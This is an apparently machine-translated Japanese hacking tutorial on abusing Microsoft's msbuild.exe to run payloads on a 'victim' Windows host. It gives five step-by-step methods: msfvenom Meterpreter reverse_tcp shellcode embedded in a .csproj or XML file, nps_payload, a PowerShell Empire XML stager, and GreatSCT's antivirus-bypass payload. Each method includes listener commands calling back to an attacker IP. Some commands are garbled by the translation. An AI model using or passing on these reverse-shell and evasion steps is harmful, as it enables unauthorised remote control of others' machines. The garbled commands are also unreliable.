Jump to content

1。 msbuild.exeの紹介

Microsoft Build Engineは、アプリケーションを構築するためのプラットフォームです。 MSBuildとも呼ばれるこのエンジンは、ビルドプラットフォームがソフトウェアを処理および構築する方法を制御するプロジェクトファイルのXMLスキーマを提供します。 Visual StudioはMSBuildを使用しますが、Visual Studioに依存しません。 MSBUILD.EXEをプロジェクトまたはソリューションファイルで呼び出すことにより、Visual Studioがインストールされていない環境でプログラムをコンパイルおよび生成できます。

Visual StudioはMSBuildを使用して、管理されたプロジェクトをロードおよび生成します。 Visual Studio(.csproj、vbproj、vcxprojなど)のプロジェクトファイルには、msbuild xmlコードが含まれています。

2。攻撃方法

1。最初の方法:MSFVENOMを使用して、CSHARPファイルを生成します

Microsoft Visual Studioを使用して、MSBuild形式で保存されてMSBuildプラットフォームを使用して実行可能なものにコンパイルする *.CSPROJサフィックスを使用して、C#(Cシャープ)プログラミングプロジェクトを作成します。

悪意のあるプログラムが生成および実行されると、被害者ホストのリバースシェルを取得できます。そのため、file.csprojファイルを生成し、このために、最初にMSFvenomを介してC#のシェルコードを生成します。次に、以下に示すように、シェルコードがfile.csprojに配置されます

MSFVENOM -P Windows/MeterPreter/Reverse_TCP LHOST=192.168.1.109 LPORT=1234 -F CSHARP

kkxgxqshabi8360.png

上記のシェルコードはXMLファイルに配置する必要があります。 GitHubからこのXMLファイルをダウンロードできます。 MSBuildによってコンパイルおよび実行されたコードがあります。このXMLファイルは、file.csprojとして保存する必要があり、meterpreterセッションを取得するにはmsbuild経由で実行する必要があります。

注:下の図に示すように、シェルコードからシェルコード値を交換し、BUFをシェルコードに変更します:axzbbx1dunu8361.png

Visual StudioまたはコマンドウィンドウからMSBuildを実行できます。 Visual Studioを使用すると、NETフレームワークの任意のバージョンでアプリケーションを実行およびコンパイルできます。

たとえば、32ビットプラットフォームで.NETフレームワーク2.0でコンパイルされたアプリケーションを実行し、64ビットプラットフォームで.NETフレームワーク4.5で同じアプリケーションをコンパイルして実行できます。複数のフレームワークにコンパイルされたタスクは、マルチオブジェクトと呼ばれます。

msbuildの詳細については、この記事のリンクをご覧ください:https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild?view=vs-2015

次に、MultiProcessorを起動してMeterPreterセッションを取得し、ターゲットパスC: \ Windows \ Microsoft.net \ Framework \ V4.0.30319でmsbuild.exeを使用してfile.csprojファイルを実行します。

c: \ windows \ microsoft.net \ framework \ v4.0.30319 \ msbuild.exefile.csproj

注:悪意のあるエクスプロイト(xml/csproj)c: \ windows \ microsoft.net \ framework \ v4.0.30319 \この場所で保存する必要があります。

qt225c3ykly8362.png

Exploit/Multi/Handlerを使用します

MSF Exploit(Multi/Handler)Payload Windows/MeterPreter/Reverse_tcpを設定します

MSF Exploit(Multi/Handler)セットLHOST 192.168.1.109

MSF Exploit(Multi/Handler)Set LPort 1234

MSF Exploit(Multi/Handler)Exploit

ご覧のとおり、次のように、被害者のメータープレターセッションがあります。

exbuwpa4xql8363.png

2。 2番目の方法:XMLファイルを生成して、MSBUILD

を利用します

上記のように、MSBuildはXMLベースのプロジェクトファイル形式を使用します。これはシンプルで拡張可能なため、生成されたfile.csprojをfile.xmlに変更し、図に示すようにMSBUILD.EXEを使用してMSBUILD.EXEを使用してfile.xmlを再度実行できます。

c: \ windows \ microsoft.net \ framework \ v4.0.30319 \ msbuild.exefile.xml

3ujnowxrzzh8364.png

Exploit/Multi/Handlerを使用します

MSF Exploit(Multi/Handler)Payload Windows/MeterPreter/Reverse_tcpを設定します

MSF Exploit(Multi/Handler)セットLHOST 192.168.1.109

MSF Exploit(Multi/Handler)Set LPort 1234

MSF Exploit(Multi/Handler)Exploit

ご覧のとおり、次のように、被害者のメータープレターセッションがあります。

bjo0dpltehs8365.png

3。 3番目の方法:nps_payloadスクリプト

このスクリプトは、基本的な侵入検出エスケープのペイロードを生成します。いくつかの異なるソースからの公共技術を利用しています。 Larry Spohn(@spoonman1091)によって書かれたペイロードは、dirty_benとしても知られるベンマウチ(@ben0xa)によって書かれています。 Githubからダウンロードできます。

NPS_Payloadは、MSBUILD.EXEおよびMSHTA.EXEを使用して実行できるペイロードを生成し、MeterPreterセッションを通じて被害者ホストの逆の接続を取得します。

以下の手順に従って、ペイロードを生成します。

GithubからNPS Exploitをダウンロードした後、/NPS_Payload.pyスクリプトを実行します

1を入力して、「MSBUILD/NPS/MSFFを生成する」オプションを選択します

もう一度入力して、ペイロードオプション「Windows/MeterPreter/Reverse_TCP」を選択します

これにより、XMLファイルでペイロードが生成され、このファイルがターゲットロケーションC: \ Windows \ Microsoft.net \ Framework \ v4.0.30319に送信されます。これは、以前の方法と同じで、新しい端末で同時にリスナーを開始します。

msfconsole -r msbuild_nps.rc

xv54y3y4csw8366.png

次に、上記の手順を繰り返し、コマンドプロンプトを使用してmsbuild_nps.xmlを実行し、次のようにmeterpreter経由で逆の接続を取得します。

c: \ windows \ microsoft.net \ framework \ v4.0.30319 \ msbuild.exemsbuild_nps.xml

3js0h03lhtd8367.png

4。 4番目の方法:Powershell Empire

次のMSBuild攻撃方法では、帝国を使用します。帝国は開発後のフレームワークです。これまでのところ、XMLツールをMetasploitに一致させてきましたが、このアプローチではEmpire Frameworkを使用します。これは単なるPythonベースのPowerShell Windowsプロキシであり、非常に便利です。 Empireは、 @harmj0y、 @sixdub、 @enigam0x3、rvrsh3ll、 @killswitch_gui、@xorrierによって開発されています。このフレームワークはhttps://github.com/empireproject/empireからダウンロードできます。

帝国の基本ガイドを取得するには、記事をご覧ください。

https://www.hackingarticles.in/hacking-with-empire-powershell-post-exploitation-agent/

Empire Frameworkを開始した後、リスナーを入力して、アクティブなリスナーがいるかどうかを確認します。下の図に示すように、アクティブなリスナーはありません。したがって、リスナータイプを設定する必要があります

リスナー

USELISTNER HTTP

ホストhttp://192.168.1.107を設定します

実行する

上記のコマンドを使用すると、アクティブなリスナーが表示されます。戻ってリスナーを終了してPowerShellを開始します。

MSBUILD攻撃には、Stagerを使用します。帝国のStagerは、悪意のあるコードが感染したホストのプロキシを実行できるようにするコードです。したがって、このタイプの場合、次のコマンドを入力します。

UseStager Windows/Launcher_xml

リスナーhttpを設定します

実行する

UseStagerは、Launcher.xmlという名前の /TMPに保存される悪意のあるコードファイルを作成します。

jzbzbn030dt8368.png

ファイルが実行されると、リスナーで結果が表示されます。入力して被害者のファイルを実行します。

CD C: \ Windows \ Microsoft.net \ Framework \ v4.0.30319 \

msbuild.exe launcher.xml

lqvwh0npgw18369.png

セッションがあるかどうかを確認するには、入力コマンド「エージェント」を開きます。そうすることで、あなたが持っているセッションの名前が表示されます。セッションにアクセスするには、次のコマンドを入力します。

A8H14C7Lを操作します

上記のコマンドを使用すると、セッションにアクセスできます

sysinfo

ukvz2ahhhjk8370.png

5。 5番目の方法:greatsct

GreatSCTは、Metasploit Exploitを使用できるツールであり、ほとんどのアンチウイルスをバイパスできるようにします。 GreatSCTは現在、@ConsciousHackerによってサポートされています。ここからダウンロードできます:https://github.com/greatsct/greatsct

ダウンロードして実行した後、次のコマンドを入力してモジュールにアクセスします。

バイパスを使用します

0bxu4p0cfei8371.png

次に、ペイロードリストタイプを確認します。

リスト

wabsxr5amxg8372.png

これで、ペイロードリストから、任意のターゲットを選択して、目的の攻撃を実行できます。しかし、この攻撃では、次のことを使用します。

msbuild/meterpreter/rev_tcp.pyを使用します

cn4ptzxtzqy8373.png

コマンドを実行した後、次のコマンドを入力してください。

LHOST 192.168.1.107を設定します

生成する

jerolkl2bup8374.png

ペイロードを生成するとき、ペイロードの名前を提供するように依頼します。デフォルトでは、「ペイロード」をその名前として受け取ります。 MSBuildをエクスプロイト名として使用し、出力コードはXMLに保存されます。

jbvivaewk0z8375.png

これで、2つのファイルが作成されます。 Metasploit RCファイルと別のmsbuild.xmlファイル。

まず、次のコマンドを入力して、/usr/share/greatsct出力/ソースでpythonサーバーを起動します。

python -m simplehttpserver 80

auc0l3n2d0s8376.png

次のコマンドを入力して、被害者のファイルを実行します。

CD C: \ Windows \ Microsoft.net \ Framework \ v4.0.30319 \

msbuild.exe msbuild.xml

gfjc3agwllk8377.png同時に、リソースファイルを使用してマルチ/ハンドラーを起動します。これを行うには、次のコマンドを入力してください。

MSFCONSOLEL -R /USR/SHARE/GREATSCT OUTPUT/HANDLERS/PAYLOAD.RC

図:に示すように、メータープレターセッションがあります

x3sjcswjmoc8378.png

参照記事:https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild?view=vs-2017

0 Comments

Recommended Comments

There are no comments to display.

Guest
Add a comment...